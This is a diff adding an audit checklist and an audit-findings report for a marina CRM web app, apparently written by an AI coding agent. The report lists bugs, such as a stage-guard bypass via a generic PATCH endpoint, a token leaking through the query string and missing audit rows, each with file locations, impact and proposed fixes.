+| D-13 | Hub root view: 3 cards (in-progress, files, completed)                        | S      | 🟢       | ❓       |
+| D-14 | EntityFolderView: signing-in-progress + files                                 | S      | 🟢       | ❓       |
+| D-15 | "View signing details" link on signed file row                                | XS     | 🟢       | ❓       |
+| D-16 | Auto-deposit on signing completion (resolves owner via Owner-wins chain)      | M      | 🟠       | ❓       |
+| D-17 | listFilesAggregatedByEntity walks Client↔Company↔Yacht reach symmetrically    | M      | 🟠       | ❓       |
+| D-18 | Folder URL state with `?folder=<uuid>` (F25 deep folder)                      | XS     | 🟢       | ⚠️       |
+| D-19 | Concurrent ensureEntityFolder race-safety (partial unique index)              | M      | 🟡       | ❓       |
+| D-20 | Magic-byte verification on presign + post-upload paths                        | S      | 🟠       | ✅       |
+| D-21 | Filename HTML-escape in fallback download link                                | XS     | 🟡       | ❓       |
+| D-22 | File size > email_attach_threshold_mb → signed-URL link instead of attachment | M      | 🟡       | ❓       |
+
+---
+
+## 11. Audit log
+
+| ID    | Check                                                                             | Effort | Severity | Coverage |
+| ----- | --------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| AU-01 | Every mutation creates an audit row (sample 10 endpoints)                         | M      | 🟠       | ⚠️       |
+| AU-02 | Sensitive-field mask works (test: password rotation row)                          | S      | 🟠       | ❓       |
+| AU-03 | FTS query returns expected results                                                | S      | 🟡       | ❓       |
+| AU-04 | Filter by action: only stage_change shows                                         | XS     | 🟢       | ❓       |
+| AU-05 | Filter by entity type: only berth/interest/etc shows                              | XS     | 🟢       | ❓       |
+| AU-06 | Filter by user                                                                    | XS     | 🟢       | ❓       |
+| AU-07 | Filter by date range                                                              | XS     | 🟢       | ❓       |
+| AU-08 | Diff display correctly highlights old vs new                                      | S      | 🟡       | ❓       |
+| AU-09 | "Reconcile" event tag visible in metadata                                         | XS     | 🟢       | ✅       |
+| AU-10 | Cascade events grouped or distinct? (e.g. archive client + auto-archive interest) | S      | 🟡       | ❓       |
+| AU-11 | Permission-denied entries render readable (A1)                                    | XS     | 🟡       | ❌       |
+| AU-12 | Audit log export to CSV                                                           | S      | 🟢       | ❓       |
+| AU-13 | Outcome-change action tag distinct from generic 'update' (R2-B finding)           | S      | 🟡       | ❓       |
+| AU-14 | Tier-mapping (audit_logs.audit_tier_map) — high-tier vs noise tier                | S      | 🟡       | ❓       |
+
+---
+
+## 12. Email / SMTP / IMAP
+
+| ID    | Check                                                            | Effort | Severity | Coverage |
+| ----- | ---------------------------------------------------------------- | ------ | -------- | -------- |
+| EM-01 | Per-port SMTP override picks up                                  | S      | 🟠       | ❓       |
+| EM-02 | Default sales send-from (`sales@portnimara.com`)                 | XS     | 🟢       | ❓       |
+| EM-03 | Default noreply send-from (`noreply@portnimara.com`)             | XS     | 🟢       | ❓       |
+| EM-04 | EMAIL_REDIRECT_TO in dev: subject prefix `[redirected from ...]` | XS     | 🟡       | ❓       |
+| EM-05 | Branded template render (logo, blurred bg, max-w-600)            | S      | 🟢       | ❓       |
+| EM-06 | Reply-to override                                                | XS     | 🟡       | ❓       |
+| EM-07 | CC/BCC handling                                                  | S      | 🟡       | ❓       |
+| EM-08 | Send rate limit 50/user/hour                                     | XS     | 🟡       | ❓       |
+| EM-09 | Send size > threshold falls back to signed link                  | M      | 🟡       | ❓       |
+| EM-10 | IMAP bounce probe (`dev-imap-probe.ts`)                          | M      | 🟢       | ❓       |
+| EM-11 | Bounce subject parse + interest linking                          | M      | 🟡       | ❓       |
+| EM-12 | Document_sends audit row per send                                | S      | 🟡       | ❓       |
+| EM-13 | Portal activation email arrives & token works                    | M      | 🟠       | ❓       |
+| EM-14 | Reset-password email                                             | S      | 🟠       | ❓       |
+| EM-15 | Invite email                                                     | M      | 🟠       | ❓       |
+| EM-16 | Reminder digest email                                            | M      | 🟢       | ❓       |
+| EM-17 | EOI generated PDF attached or inline?                            | S      | 🟡       | ❓       |
+| EM-18 | Outbound email markdown body XSS (verified)                      | S      | 🟠       | ✅       |
+| EM-19 | Subject override CSP/XSS                                         | S      | 🟠       | ✅       |
+
+---
+
+## 13. Integrations
+
+| ID    | Check                                                                 | Effort | Severity | Coverage |
+| ----- | --------------------------------------------------------------------- | ------ | -------- | -------- |
+| IN-01 | Documenso send EOI via v1 template-generate                           | M      | 🟠       | ❓       |
+| IN-02 | Documenso v2 envelope/create multipart                                | M      | 🟠       | ❓       |
+| IN-03 | Documenso distribute (v2)                                             | S      | 🟠       | ❓       |
+| IN-04 | Documenso redistribute / send reminder                                | S      | 🟡       | ❓       |
+| IN-05 | Documenso downloadSignedPdf                                           | S      | 🟠       | ❓       |
+| IN-06 | Documenso voidDocument                                                | S      | 🟡       | ❓       |
+| IN-07 | Documenso placeFields (v2 field/create-many)                          | M      | 🟡       | ❓       |
+| IN-08 | Documenso normalizeDocument id ↔ documentId                           | XS     | 🟡       | ❓       |
+| IN-09 | NocoDB import idempotency                                             | S      | 🟡       | ❓       |
+| IN-10 | S3 / MinIO upload + download                                          | S      | 🟠       | ❓       |
+| IN-11 | S3 presigned URL expiry                                               | XS     | 🟡       | ❓       |
+| IN-12 | Filesystem backend: MULTI_NODE_DEPLOYMENT guard                       | XS     | 🟠       | ❓       |
+| IN-13 | BullMQ job retry on failure                                           | S      | 🟡       | ❓       |
+| IN-14 | BullMQ Redis `noeviction` policy (verified)                           | XS     | 🟠       | ✅       |
+| IN-15 | Worker process boot + queue subscribe                                 | S      | 🟠       | ❓       |
+| IN-16 | Public berths API: anon cache headers                                 | XS     | 🟢       | ❓       |
+| IN-17 | Public berths API: status filter (`Under Offer`, `Sold`, `Available`) | S      | 🟡       | ❓       |
+| IN-18 | Public berths single endpoint via mooringNumber (canonical format)    | S      | 🟡       | ❓       |
+| IN-19 | Public health anonymous mode (verified A26)                           | XS     | 🟡       | ✅       |
+| IN-20 | Public health secret mode (verified A26)                              | XS     | 🟡       | ✅       |
+| IN-21 | OpenAI / AI parser credentials test                                   | S      | 🟡       | ❓       |
+| IN-22 | Tesseract OCR positional heuristics on per-berth PDF                  | M      | 🟡       | ❓       |
+| IN-23 | Receipt OCR: full receipt parse end-to-end                            | M      | 🟡       | ❓       |
+| IN-24 | Pdfme PDF generation (any per-port template)                          | M      | 🟡       | ❓       |
+| IN-25 | PDF-lib AcroForm fill (in-app EOI pathway)                            | M      | 🟠       | ❓       |
+| IN-26 | EOI merge token expansion (`{{eoi.berthRange}}` etc)                  | S      | 🟠       | ❓       |
+| IN-27 | Berth-range formatter (single + multi-berth)                          | S      | 🟡       | ❓       |
+| IN-28 | Portal magic-link consume                                             | S      | 🟠       | ❓       |
+| IN-29 | Umami analytics widget render                                         | XS     | 🟢       | ❓       |
+
+---
+
+## 14. Schema / migration
+
+| ID    | Check                                                                           | Effort | Severity | Coverage |
+| ----- | ------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| SC-01 | All migrations idempotent (re-run safe)                                         | M      | 🟠       | ❓       |
+| SC-02 | All FKs have ON DELETE behaviour spec'd (CASCADE, SET NULL, RESTRICT)           | S      | 🟠       | ❓       |
+| SC-03 | All soft-delete columns indexed (`archivedAt IS NULL`)                          | S      | 🟡       | ❓       |
+| SC-04 | All search columns have GIN/FTS indexes                                         | S      | 🟡       | ❓       |
+| SC-05 | Composite unique constraints (sibling folder name, default brochure)            | S      | 🟡       | ❓       |
+| SC-06 | Partial unique constraints (entity-folder, isPrimary)                           | S      | 🟡       | ❓       |
+| SC-07 | CHECK constraints (chk_system_folder_shape)                                     | XS     | 🟢       | ❓       |
+| SC-08 | Generated column accuracy (FTS search_text)                                     | S      | 🟡       | ❓       |
+| SC-09 | Column nullability matches Drizzle schema                                       | M      | 🟡       | ❓       |
+| SC-10 | Schema migration restart-after-push (CLAUDE.md gotcha)                          | XS     | 🟠       | ❓       |
+| SC-11 | Backfill scripts idempotent (`backfill-document-folders.ts`)                    | S      | 🟡       | ❓       |
+| SC-12 | Legacy enum migration drift (every place that compared against an old value)    | M      | 🟠       | ❓       |
+| SC-13 | Currency code enum                                                              | XS     | 🟡       | ❓       |
+| SC-14 | Address-component enum                                                          | XS     | 🟢       | ❓       |
+| SC-15 | Polymorphic owner: every read-site uses the service helper, not raw column read | M      | 🟠       | ❓       |
+
+---
+
+## 15. i18n / l10n
+
+| ID   | Check                                          | Effort | Severity | Coverage |
+| ---- | ---------------------------------------------- | ------ | -------- | -------- |
+| L-01 | Currency formatting per locale                 | S      | 🟢       | ❓       |
+| L-02 | Date formatting per timezone                   | S      | 🟢       | ❓       |
+| L-03 | Number formatting (1,000.5 vs 1.000,5)         | S      | 🟢       | ❓       |
+| L-04 | Plural forms                                   | S      | 🟢       | ❓       |
+| L-05 | RTL support (test with Arabic UA)              | S      | 🟢       | ❓       |
+| L-06 | Translation completeness (Phase C status)      | M      | 🟢       | ❓       |
+| L-07 | next-intl messages.json coverage               | S      | 🟢       | ❓       |
+| L-08 | Server-rendered locale match (Accept-Language) | S      | 🟢       | ❓       |
+
+---
+
+## 16. Browser / device
+
+| ID    | Check                                               | Effort | Severity | Coverage |
+| ----- | --------------------------------------------------- | ------ | -------- | -------- |
+| BR-01 | Safari (macOS) primary flows                        | M      | 🟡       | ❓       |
+| BR-02 | Safari (iOS) primary flows                          | M      | 🟡       | ❓       |
+| BR-03 | Firefox (latest)                                    | M      | 🟢       | ❓       |
+| BR-04 | Edge (latest)                                       | M      | 🟢       | ❓       |
+| BR-05 | Chrome (latest) — primary                           | S      | 🟢       | ✅       |
+| BR-06 | iPad (Safari) — tier "click" via computer-use rules | M      | 🟢       | ❓       |
+| BR-07 | Print stylesheet (interest detail, invoice)         | S      | 🟢       | ❓       |
+
+---
+
+## 17. Specific behavioral correctness checks
+
+| ID   | Check                                                                                                                         | Effort | Severity | Coverage    |
+| ---- | ----------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | ----------- |
+| B-01 | Berth A1 hard-deleted earlier; confirm no 404 anywhere (interests' linked-berth, public feed, recommender)                    | M      | 🟠       | ❓          |
+| B-02 | Sara Laurent interest in stage=contract WITHOUT yachtId → render correctness                                                  | XS     | 🟡       | ❓          |
+| B-03 | Outcome-set interests filtered from active queries via `activeInterestsWhere`                                                 | S      | 🟠       | ❓          |
+| B-04 | EOI bundle range formatter: `A1-A3, B5` for non-contiguous berths                                                             | S      | 🟡       | ❓          |
+| B-05 | EOI single-berth case formats to just mooring (`A1`)                                                                          | XS     | 🟢       | ❓          |
+| B-06 | Activity timeline 7-day window inclusive of today                                                                             | XS     | 🟢       | ✅ (F2 fix) |
+| B-07 | Heat-scoring tier B only fires for lost/cancelled-only history                                                                | M      | 🟡       | ❓          |
+| B-08 | Permission-denied audit row sequencing (does denied API call still log?)                                                      | S      | 🟡       | ❓          |
+| B-09 | Same-stage no-op DOES NOT emit audit/socket event (F27)                                                                       | S      | 🟢       | ⚠️          |
+| B-10 | Documenso webhook with empty body / malformed payload                                                                         | S      | 🟠       | ❓          |
+| B-11 | Berth status_override_mode transitions through automated → manual → null                                                      | M      | 🟡       | ❓          |
+| B-12 | Reconcile clear stamps reason correctly with interest id (verified)                                                           | XS     | 🟢       | ✅          |
+| B-13 | Catch-up wizard "contract" stage auto-sets `outcome=won`                                                                      | S      | 🟡       | ❓          |
+| B-14 | Catch-up wizard surfaces in API audit log as `reconcile_manual` type                                                          | XS     | 🟢       | ✅          |
+| B-15 | Mobile shell when initialFormFactor is wrong (Playwright UA = desktop, viewport = mobile) — shell ends up correct after mount | XS     | 🟢       | ✅          |
+| B-16 | Resizing across breakpoint mid-form-edit: state preservation?                                                                 | S      | 🟡       | ❓          |
+| B-17 | Berths bulk-add wizard: step transitions persist input                                                                        | M      | 🟡       | ❓          |
+| B-18 | NotesList polymorphic across all 4 entity types (clients, interests, yachts, companies)                                       | S      | 🟡       | ❓          |
+| B-19 | InlineEditableField on every detail page works                                                                                | M      | 🟡       | ❓          |
+| B-20 | InlineTagEditor: focus management (F45 verified)                                                                              | S      | 🟢       | ⚠️          |
+| B-21 | OwnerPicker: client+company tabs render correctly (F44 verified)                                                              | XS     | 🟢       | ✅          |
+| B-22 | Mark externally signed sets `documentId=null`, `signedAt=now`                                                                 | S      | 🟡       | ❓          |
+
+---
+
+## 18. Data-clean-up jobs
+
+| ID    | Check                                                                                                                                                                                                      | Effort | Severity | Coverage |
+| ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| DC-01 | Orphan-blob cleanup on document delete                                                                                                                                                                     | S      | 🟠       | ❓       |
+| DC-02 | Soft-deleted entities older than X days hard-purged                                                                                                                                                        | M      | 🟡       | ❓       |
+| DC-03 | Test entities in DB (per prior audit notes): `Smoke Test Client (renamed)`, `Aurora Marine Holdings Ltd`, `Bad Email Test`, `Phone Test`, `François 🏄 المعتمد`, `CSRF Test`, etc — `db:reseed:synthetic`? | S      | 🟢       | ❓       |
+| DC-04 | Berth A1 hard-deletion in port-amador: was that recovered?                                                                                                                                                 | S      | 🟡       | ❓       |
+| DC-05 | Legacy `statusOverrideMode = "auto"` normalize migration                                                                                                                                                   | XS     | 🟢       | ❌ (A8)  |
+
+---
+
+## 19. CI / dev experience
+
+| ID    | Check                                                            | Effort | Severity | Coverage |
+| ----- | ---------------------------------------------------------------- | ------ | -------- | -------- |
+| CI-01 | Husky lint-staged blocks bad commits                             | XS     | 🟢       | ✅       |
+| CI-02 | `pnpm exec tsc --noEmit` clean                                   | XS     | 🟢       | ✅       |
+| CI-03 | `pnpm lint` zero errors                                          | XS     | 🟢       | ✅       |
+| CI-04 | `pnpm exec vitest run` 1373/1373 pass                            | S      | 🟢       | ✅       |
+| CI-05 | `pnpm exec playwright test --project=smoke` ~10min               | M      | 🟢       | ❓       |
+| CI-06 | `pnpm exec playwright test --project=destructive`                | M      | 🟢       | ❓       |
+| CI-07 | `pnpm exec playwright test --project=realapi` (Documenso + IMAP) | M      | 🟢       | ❓       |
+| CI-08 | `pnpm exec playwright test --project=visual` baselines current   | S      | 🟢       | ❓       |
+| CI-09 | Gitea CI lint + build-and-push workflows                         | S      | 🟢       | ❓       |
+| CI-10 | Docker prod build succeeds                                       | M      | 🟠       | ❓       |
+| CI-11 | docker-compose dev startup with all services                     | S      | 🟢       | ❓       |
+| CI-12 | Pre-commit hook also blocks `.env*` files                        | XS     | 🟢       | ❓       |
+| CI-13 | `SKIP_ENV_VALIDATION=1` actually bypasses in Docker build        | XS     | 🟢       | ❓       |
+
+---
+
+## Recommendation: priority short-list
+
+If we want maximum coverage with limited time, I'd pick:
+
+### Tier 0 — fix what's already known (from A1-A20)
+
+- A4 (client form silent-fail)
+- A16 (file upload null vs string)
+- A17 (/admin/ports bootstrap)
+- A19 (F27 204 implementation)
+- A9 (catch-up wizard stage default)
+- A1/A2 (activity feed labels)
+
+### Tier 1 — discover new
+
+- **L-001** through **L-020** — legacy stage enum hunt (the user's specific concern)
+- **W-001** — full end-to-end happy-path workflow (one full deal)
+- **U-001** through **U-013** — every empty state surface
+- **MT-01-11** — multi-tenancy cross-port checks (full sweep)
+- **AU-01-14** — audit log surface (search, filters, mask, FTS)
+- **U-021-039** — form design sweep across major forms
+
+### Tier 2 — fill in coverage
+
+- **R-001-030** — route correctness
+- **AD-\* (admin pages)** — at least one mutation per admin section to confirm wiring
+- **D-01-22** — documents/files end-to-end
+
+### Tier 3 — depth checks
+
+- **S-\* (security)** — penetration sweep
+- **P-\* (performance)** — load + LCP + N+1
+- **W-011-052** — every edge-case workflow
+
+---
+
+**Total surfaces catalogued:** 320+ discrete checks across 19 areas.
+
+Pick what you want and I'll run it.

docs/AUDIT-FINDINGS-2026-05-15.md

@@ -0,0 +1,335 @@
+# Comprehensive Audit Findings — 2026-05-15
+
+Discovery pass across all 19 areas of `docs/AUDIT-CATALOG.md`. Code-side via 9 parallel sub-agents + browser sweep via Playwright MCP. Per-agent raw output cached under `docs/audit-findings-tmp/`.
+
+## Scoreboard
+
+| Severity    | Count  |
+| ----------- | ------ |
+| 🔴 CRITICAL | 3      |
+| 🟠 HIGH     | 15     |
+| 🟡 MEDIUM   | 48     |
+| 🟢 LOW      | 8      |
+| **Total**   | **74** |
+
+The 3 critical and the most actionable HIGH issues should head the next fix wave.
+
+---
+
+## 🔴 CRITICAL
+
+### C-01 (B-01) — INNER JOIN on hard-deleted berth silently drops interest→berth links
+
+- **Files:** `src/lib/services/interest-berths.service.ts:55` (`getPrimaryBerth`), `:87` (`getPrimaryBerthsForInterests`), `:140` (`listBerthsForInterest`)
+- **What:** Three helpers use `INNER JOIN berths ON berths.id = interestBerths.berthId`. Hard-deleting a berth makes the join silently drop the row.
+- **Impact:** Interest detail shows `berthId: null` / `berthMooringNumber: null`. Kanban card shows no berth chip. EOI generation produces empty mooring field. `archiveInterest` calls `getPrimaryBerth` before evaluating the berth rule — null result causes the rule to be **skipped entirely**.
+- **Fix:** Switch all three to `LEFT JOIN berths`. Callers already handle null. Add service-layer guard preventing hard-delete of berths with `interest_berths` rows (require unlink or soft-archive first).
+
+### C-02 (R-021) — `/setup` missing from `PUBLIC_PATHS` — bootstrap unreachable on fresh DB
+
+- **File:** `src/proxy.ts:51-73`
+- **What:** `PUBLIC_PATHS` includes `/api/v1/bootstrap/` but NOT `/setup`. Unauthenticated user → `/setup` → middleware redirects to `/login?redirect=/setup`. Login useEffect fetches bootstrap status, calls `router.replace('/setup')` → middleware again → infinite redirect loop.
+- **Impact:** Fresh deployment (no super admin) is functionally deadlocked. The first operator cannot reach setup without already having a session — impossible on a fresh DB.
+- **Fix:** Add `'/setup'` to `PUBLIC_PATHS`. `POST /api/v1/bootstrap/super-admin` already self-protects with `hasAnySuperAdmin()`.
+- **Browser-verified:** Navigating to `/setup` unauthenticated redirects to `/login` (no `?redirect=` even). The bootstrap-status check at `src/app/(auth)/login/page.tsx:41` confirms: `if (payload.data?.needsBootstrap) router.replace('/setup');` — feeds the loop on fresh DB.
+
+### C-03 (NEW, browser-discovered) — Generic `PATCH /api/v1/interests/[id]` bypasses ALL stage-transition guards
+
+- **Files:** `src/app/api/v1/interests/[id]/route.ts:20-32` (calls `updateInterest`); `src/lib/services/interests.service.ts:701` (`updateInterest`); `src/lib/validators/interests.ts:68,90` (`pipelineStage` flows through `updateInterestSchema` to the service)
+- **What:** The `/stage` endpoint (`src/app/api/v1/interests/[id]/stage/route.ts`) calls `changeInterestStage` which enforces `STAGE_NOOP` early-return, `canTransitionStage()` table guard, override-requires-permission, and override-requires-≥5-char-reason. The generic PATCH endpoint calls `updateInterest` which writes the full payload (incl. `pipelineStage`) directly to the DB with **none** of those guards.
+- **Browser proof:**
+  - PATCH `/api/v1/interests/<deposit-paid-id>` with `{ pipelineStage: 'enquiry' }` → **200 OK**, interest demoted to enquiry. (Same call via `/stage` correctly returned 400 with "Cannot move from Deposit Paid directly to New Enquiry. Use the override option ...".)
+  - PATCH `/api/v1/interests/<eoi-id>` with `{ pipelineStage: 'eoi' }` (same-stage) → **200 with full 1249-byte body** instead of 204. F27 fix only works through `/stage`.
+  - Backwards write via generic PATCH leaves `eoiDocStatus: 'sent'` while `pipelineStage = 'enquiry'` — corrupted state.
+  - Audit row written as generic `action: 'update'` with diff, not `action: 'stage_change'` with proper metadata. Webhook event `interest:updated` not `interest:stageChanged`.
+- **Impact:** Any caller (rep tool, integration, mistake in frontend) hitting the generic PATCH can drive an interest to any stage with no override permission, no reason, no audit-as-stage-change. Same-stage spam fires no-op writes that bump `updated_at` and emit redundant socket+webhook events. The corrupted-state surface (stage rolled back but doc-status still says signed) breaks downstream rules-engine evaluations that branch on stage.
+- **Fix:** In `updateInterestSchema`, omit `pipelineStage` (force callers to use `/stage`); OR in `updateInterest`, when `pipelineStage` is in the payload, delegate to `changeInterestStage` with the full guard chain. Either prevents the bypass surface from existing.
+
+---
+
+## 🟠 HIGH
+
+### H-01 (SC-02) — Multiple FKs `ON DELETE NO ACTION` while Drizzle declares them nullable
+
+- **Files:** `src/lib/db/schema/interests.ts:29,32` (portId/clientId); `src/lib/db/schema/documents.ts:72,85,86,176` (clientId/fileId/signedFileId/signerId); `src/lib/db/schema/reservations.ts:18,24,25,27,28,33` (all 6 berthReservations FKs); `src/lib/db/schema/operations.ts:25` (reminders.clientId); `src/lib/db/schema/financial.ts:120` (invoices.pdfFileId)
+- **What:** `.references(...)` without `{ onDelete }` emits `ON DELETE NO ACTION`. Hard-deleting a parent (client, berth, yacht, file) blocks at FK level.
+- **Fix:** Add `{ onDelete: 'set null' }` for nullable FKs that should tolerate parent deletion; explicit `{ onDelete: 'restrict' }` for those that intentionally block (`interests.clientId` design intent is archive-first).
+
+### H-02 (R-017/018) — CRM post-login redirect ignores `?redirect=` param
+
+- **File:** `src/app/(auth)/login/page.tsx:79`
+- **What:** Middleware redirects unauthenticated → `/login?redirect=<path>`. Login page never reads `useSearchParams()`; always `router.push('/dashboard')`.
+- **Impact:** Email/bookmark/shared deep links into specific clients/interests silently dump to dashboard.
+- **Fix:** Read `searchParams.get('redirect')`, validate same-origin (`startsWith('/')`, not `'//'`), use as push target.
+
+### H-03 (R-023) — CRM invite token in query string leaks to access logs
+
+- **File:** `src/lib/services/crm-invite.service.ts:71,233`
+- **What:** `${env.APP_URL}/set-password?token=${raw}` — raw 32-byte token in query param. Portal flow was migrated to `#token=` fragment in 2026-05-14 specifically to keep tokens out of logs/Referer; CRM invite path missed the migration.
+- **Impact:** Every nginx/Caddy access log line for `GET /set-password?token=<raw>` persists token to disk. Forwarded to SIEM/S3/monitoring → token visible to anyone with log access. Token grants account creation.
+- **Fix:** Change `createCrmInvite` + `resendCrmInvite` to emit `${env.APP_URL}/set-password#token=${encodeURIComponent(raw)}`. Update `set-password/page.tsx` to use the fragment-reading pattern from `PasswordSetForm` (`readTokenFromUrl()`) with `?token=` back-compat for outstanding tokens.
+
+### H-04 (R-029) — `sign-in-by-identifier` 429 missing `Retry-After`
+
+- **File:** `src/app/api/auth/sign-in-by-identifier/route.ts:47-51`
+- **What:** Builds 429 response with `headers: rateLimitHeaders(rl)` which only emits `X-RateLimit-Limit/Remaining/Reset`. `enforcePublicRateLimit` adds `Retry-After`; this route uses `checkRateLimit` directly and skips it.
+- **Impact:** RFC 6585 §4 violation. Automated clients can't back off correctly.
+- **Fix:** Add `'Retry-After': Math.max(1, Math.ceil((rl.resetAt - Date.now()) / 1000)).toString()`.
+
+### H-05 (AU-01a) — `toggleAccount` writes no audit row
+
+- **File:** `src/lib/services/email-accounts.service.ts:86-116`
+- **What:** Sets `isActive` on email account with no `createAuditLog` call. `connectAccount` (line 70) and `disconnectAccount` (line 139) do, but enable/disable in between is silent.
+- **Impact:** Silently disabling an email account suppresses bounce-detection or reroutes replies — compliance gap on a security-relevant config change.
+- **Fix:** Add `void createAuditLog({ action: 'update', entityType: 'email_account', entityId: accountId, newValue: { isActive: data.isActive }, ... })` inside `toggleAccount`.
+
+### H-06 (AU-02) — Encrypted credential ciphertext stored in audit log without masking
+
+- **Files:** `src/lib/services/settings.service.ts:66-76` + `src/lib/services/sales-email-config.service.ts:281-299`
+- **What:** `updateSalesEmailConfig` calls `upsertSetting('sales_smtp_pass_encrypted', <ciphertext>, portId, meta)`. `upsertSetting` records `newValue: { value: '<ciphertext>' }`. `maskSensitiveFields` checks JSON keys against `SENSITIVE_KEY_FRAGMENTS`; the wrapping key `"value"` isn't in the list. Ciphertext lands verbatim in `audit_logs.new_value`.
+- **Impact:** Audit log readable by all admins with `admin.view_audit_log`. DB read access exfils ciphertext; if `EMAIL_CREDENTIAL_KEY` is ever compromised, the historical audit log becomes a credential store.
+- **Fix:** In `upsertSetting`, detect when key ends with `_encrypted` (or accept `redactValue?: boolean`) and record `newValue: { value: '[redacted]' }`.
+
+### H-07 (AU-10) — Cascade-archived interests produce no individual audit rows
+
+- **File:** `src/lib/services/clients.service.ts:578-618`
+- **What:** `archiveClient` batch-archives open interests, writes ONE `entityType: 'client'` row with `newValue: { cascadedInterestIds: [...] }`. No per-interest rows. `search_text` doesn't include `new_value`, so searching for an interest ID returns nothing.
+- **Impact:** Auditor querying for a specific archived interest sees no archive event; must know to look at parent client row.
+- **Fix:** Loop over `archivedInterestIds` and emit per-interest `createAuditLog({ action: 'archive', entityType: 'interest', entityId, metadata: { cascadeSource: 'client_archive', clientId } })` (fire-and-forget).
+
+### H-08 (EM-XX) — Sales transporter missing SMTP timeouts
+
+- **File:** `src/lib/services/sales-email-config.service.ts:331-337`
+- **What:** `createSalesTransporter` builds nodemailer transport with no timeout options. Compare `createTransporter` in `src/lib/email/index.ts:26-37` which uses `SMTP_TIMEOUTS = { connectionTimeout: 10_000, greetingTimeout: 10_000, socketTimeout: 30_000 }`.
+- **Impact:** Hung SMTP relay can stall send-out indefinitely. Email queue concurrency=5, maxAttempts=5. One stuck TCP connection → 2-min default × 5 retries = 10min/job × 5 slots = whole pool blocked for 10min by a single flaky send.
+- **Fix:** Apply `SMTP_TIMEOUTS` constant to `nodemailer.createTransport` in `createSalesTransporter`.
+
+### H-09 (B-16) — AppShell remounts children on breakpoint crossing, destroying form state
+
+- **File:** `src/components/layout/app-shell.tsx:58-70`
+- **What:** When `isMobile` flips on resize, the shell switches between `<MobileLayout>{children}</MobileLayout>` and the desktop `<div>...{children}...</div>`. React unmounts and remounts `children`, destroying any in-progress `useState` form drafts including `InlineEditableField`.
+- **Impact:** User editing a client name on desktop who resizes past mobile breakpoint loses unsaved draft text. Multi-step modal forms (reconcile wizard) open during resize get unmounted.
+- **Fix:** Wrap shared content with stable `key`, or use CSS-only responsive layout so children subtree never remounts. Alternatively `key={isMobile ? 'mobile' : 'desktop'}` only on shell wrappers with `children` stable via Portal.
+
+### H-10 (U-059) — Unicode glyphs as status icons in portal documents page
+
+- **File:** `src/app/(portal)/portal/documents/page.tsx:85-89`
+- **What:** Signer status rendered as raw Unicode (`'✓'` signed, `'✗'` declined, `'○'` pending) inside colour-coded `<span>` with no `aria-label`.
+- **Impact:** Screen readers read literal Unicode names. Project memory: decorative unicode glyphs explicitly flagged. `inline-stage-picker.tsx:443` comment confirms the pattern ("was ⚑ unicode glyph — replaced with a Lucide").
+- **Fix:** Replace with `<CheckCircle2>` / `<XCircle>` / `<Circle>` Lucide icons + `aria-label`.
+
+### H-11 (U-066) — Vaul Drawer used for mobile search overlay (violates Sheet doctrine)
+
+- **File:** `src/components/search/mobile-search-overlay.tsx:6`
+- **What:** `import { Drawer as VaulDrawer } from 'vaul'`. Search overlay is full-screen, not a bottom sheet. CLAUDE.md: Vaul reserved for mobile-bottom-sheet only (currently `MoreSheet` only).
+- **Fix:** Convert to `<Sheet side="bottom">` or `<Dialog>` fullscreen. Custom visualViewport handling (lines 50-89) becomes redundant with Radix dialog backing.
+
+### H-12 (U-076) — Native `alert()` for bulk-action failure feedback in 3 lists
+
+- **Files:** `src/components/interests/interest-list.tsx:146`, `src/components/companies/company-list.tsx:73`, `src/components/yachts/yacht-list.tsx:66`
+- **What:** Partial-failure feedback via `alert(...)`. `client-list.tsx:145` uses `toast.warning(...)` correctly.
+- **Impact:** Native alert blocks main thread, can't be styled, fires in tests without suppression.
+- **Fix:** Replace with `toast.warning(...)` matching `client-list.tsx`.
+
+### H-13 (U-079) — Icon-only buttons missing `aria-label` (5 sites)
+
+- **Files:** `src/components/notifications/notification-bell.tsx:65`, `src/components/files/file-grid.tsx:121`, `src/components/admin/forms/form-template-list.tsx:102`, `src/components/email/email-accounts-list.tsx:159`, `src/components/companies/company-members-tab.tsx:228`
+- **Pattern reference:** `src/components/shared/folder-actions-menu.tsx:96` correctly uses `<span className="sr-only">More folder actions</span>`.
+- **Fix:** Add `aria-label` to each, following the folder-actions-menu sr-only pattern.
+
+### H-14 (NEW, browser-discovered) — `DELETE /api/v1/interests/[id]/outcome` with empty body crashes 500
+
+- **File:** `src/app/api/v1/interests/[id]/outcome/route.ts:27-30`; `src/lib/api/route-helpers.ts` (parseBody)
+- **What:** The DELETE handler calls `parseBody(req, clearOutcomeSchema)`. `clearOutcomeSchema` says `reopenStage` is optional. But DELETE with no body causes parseBody to throw an unhandled error → 500 internal-server-error JSON. Sending `{ reopenStage: 'qualified' }` returns 200.
+- **Browser proof:** Two consecutive `DELETE /api/v1/interests/<wonId>/outcome` calls (no body) returned 500 with `requestId: bc807db5-...` / `d21b5b3e-...`. Same call with body `{}` would presumably also work (not tested) — the issue is empty-vs-omitted body.
+- **Impact:** F26 reopen flow — when the user clicks "Reopen" without overriding the auto-detected previous stage, the request crashes. Frontend may always send a body, but the API contract claims optional and the wire-level test fails.
+- **Fix:** In `parseBody`, treat empty request body as `{}` for DELETE/POST routes whose schemas have all-optional fields; OR in the route handler, parse the body conditionally on `req.headers.get('content-length') !== '0'`.
+
+### H-15 (NEW, browser-discovered) — Sales-agent visiting an admin page silently bounces to dashboard (no 403 / feedback)
+
+- **Files:** Middleware in `src/proxy.ts` and/or per-route admin layout
+- **What:** Sales-agent navigating to `http://localhost:3000/port-amador/admin/audit` lands at `http://localhost:3000/port-amador/dashboard`. URL silently changes; no toast, no 403 page, no "Access denied" feedback. The API itself correctly returns 403 ("Insufficient permissions" or "No access to this port") — the UI just hides the failure.
+- **Impact:** A rep clicking a deep link to an admin page (in an email, bookmark, or shared link) is silently redirected without explanation. They can't tell whether the link was wrong, whether their permission lapsed, or whether the page just doesn't exist. (The earlier A18 verification said "/admin/audit correctly 403s" at the API level, which is true — but the UI layer hides it.)
+- **Fix:** Render a `/403` page or surface a toast on access denial in the admin route layout. Keep the URL on the failed route so users can verify what they tried to reach.
+
+---
+
+## 🟡 MEDIUM (45 findings — by area)
+
+### Multi-tenancy (5)
+
+| ID     | Title                                                   | File:line                                                        | Fix sketch                                                  |
+| ------ | ------------------------------------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------- |
